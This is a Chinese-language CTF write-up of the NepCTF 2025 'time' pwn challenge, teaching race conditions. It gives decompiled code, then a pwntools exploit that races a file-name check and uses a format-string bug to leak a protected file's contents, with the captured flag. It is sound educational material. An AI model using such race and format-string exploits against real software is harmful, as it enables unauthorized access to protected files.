前言
条件竞争通常发生在多个线程或进程同时访问共享资源时,导致程序行为不可预测。
例题
NepCtf 2025 - time
1
2
3
4
5
6
7
8
9
| ~/P/n/time ❯❯❯ pwn checksec ./time (.venv)
[*] '/home/lhon901/Pwn/nepctf2025/time/time'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
| void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
pthread_t newthread[2]; // [rsp+0h] [rbp-10h] BYREF
newthread[1] = __readfsqword(0x28u);
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
sub_2A31();
while ( 1 )
{
while ( !(unsigned int)sub_2B0F() )
;
pthread_create(newthread, 0, start_routine, 0);
}
}
unsigned __int64 sub_2A31()
{
char *argv[5]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v2; // [rsp+38h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("please input your name:");
__isoc99_scanf("%100s", byte_50A0);
puts("I will tell you all file names in the current directory!");
argv[0] = "/bin/ls";
argv[1] = "/";
argv[2] = "-al";
argv[3] = 0;
if ( !fork() )
execve("/bin/ls", argv, 0);
wait(0);
puts("good luck :-)");
return v2 - __readfsqword(0x28u);
}
__int64 sub_2B0F()
{
puts("input file name you want to read:");
__isoc99_scanf("%s", file);
if ( !strstr(file, "flag") )
return 1;
puts("flag is not allowed!");
return 0;
}
unsigned __int64 __fastcall start_routine(void *a1)
{
unsigned int v1; // eax
int i; // [rsp+4h] [rbp-46Ch]
int j; // [rsp+8h] [rbp-468h]
int fd; // [rsp+Ch] [rbp-464h]
_BYTE v6[96]; // [rsp+10h] [rbp-460h] BYREF
_BYTE v7[16]; // [rsp+70h] [rbp-400h] BYREF
_BYTE buf[1000]; // [rsp+80h] [rbp-3F0h] BYREF
unsigned __int64 v9; // [rsp+468h] [rbp-8h]
v9 = __readfsqword(0x28u);
sub_1329(v6);
v1 = strlen(file);
sub_1379(v6, file, v1);
sub_14CB(v6, v7);
puts("I will tell you last file name content in md5:");
for ( i = 0; i <= 15; ++i )
printf("%02X", (unsigned __int8)v7[i]);
putchar(10);
for ( j = 0; j <= 999; ++j )
buf[j] = 0;
fd = open(file, 0);
if ( fd >= 0 )
{
read(fd, buf, 0x3E8u);
close(fd);
printf("hello ");
printf(byte_50A0);
puts(" ,your file read done!");
}
else
{
puts("file not found!");
}
return v9 - __readfsqword(0x28u);
}
|
程序只有这一个非栈上格式化字符串漏洞
这里本想使用格式化字符串去修改返回地址, 但是这里经过实际调试后发现 leave ret 后的地址在 libc 区域
没有办法使得控制流重定向到一直代码段
1
2
3
4
| puts("input file name you want to read:");
__isoc99_scanf("%s", file);
if ( !strstr(file, "flag") )
return 1;
|
仔细观察代码发现,scanf 会把 filename 读入到 file (处于 bss 段) 中再检测
pthread_create 函数会创建多线程执行其中代码
1
2
3
4
5
6
7
8
9
| fd = open(file, 0);
if ( fd >= 0 )
{
read(fd, buf, 0x3E8u);
close(fd);
printf("hello ");
printf(byte_50A0);
puts(" ,your file read done!");
}
|
pthread_create 函数中的 open 函数会使用 file 作为变量
我们可以输入其他文件名先来进入 pthread_create 函数, 在主线程上在 file 里持续写入 “flag” 作为文件名
当 pthread_create 函数执行到 open 函数时就有可能会打开 file 中的 “flag” 文件
文件内容被读取到栈上,我们可以配合格式化字符串漏洞拿下 flag
payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
| from pwn import *
import threading
context.terminal = ["kitty", "@", "launch", "--type=window"]
# p = process("./time")
p = remote("nepctf32-2bpy-6959-ufjb-sj7njeura051.nepctf.com", 443, ssl=True)
p.recvuntil(b"please input your name:")
payload = b"%22$p-%23$p-%24$p-%25$p-%26$p-%27$p-%28$p-%29$p-%30$p"
p.sendline(payload)
sleep(1)
def work():
for _ in range(1000):
try:
p.sendline(b"/flag")
except Exception as e:
continue
t = threading.Thread(target=work)
t.start()
p.recvuntil(b"input file name you want to read:")
for _ in range(1000):
try:
p.sendline(b"/hint")
except Exception as e:
continue
# gdb.attach(
# p,
# gdbscript="""
# b *$rebase(0x2cd1)
# c
# """,
# )
# hint.txt: flag will tell you the truth about time!
p.interactive()
# hello 0x637b46544370654e-0x2d32396661303734-0x3062372d63613135-0x382d326236612d38-0x3636623734323763-0xa7d376164-(nil)-(nil)-(nil) ,your file read done!
# flag: NepCTF{c470af92-51ac-7b08-a6b2-8c7247b66da7}
|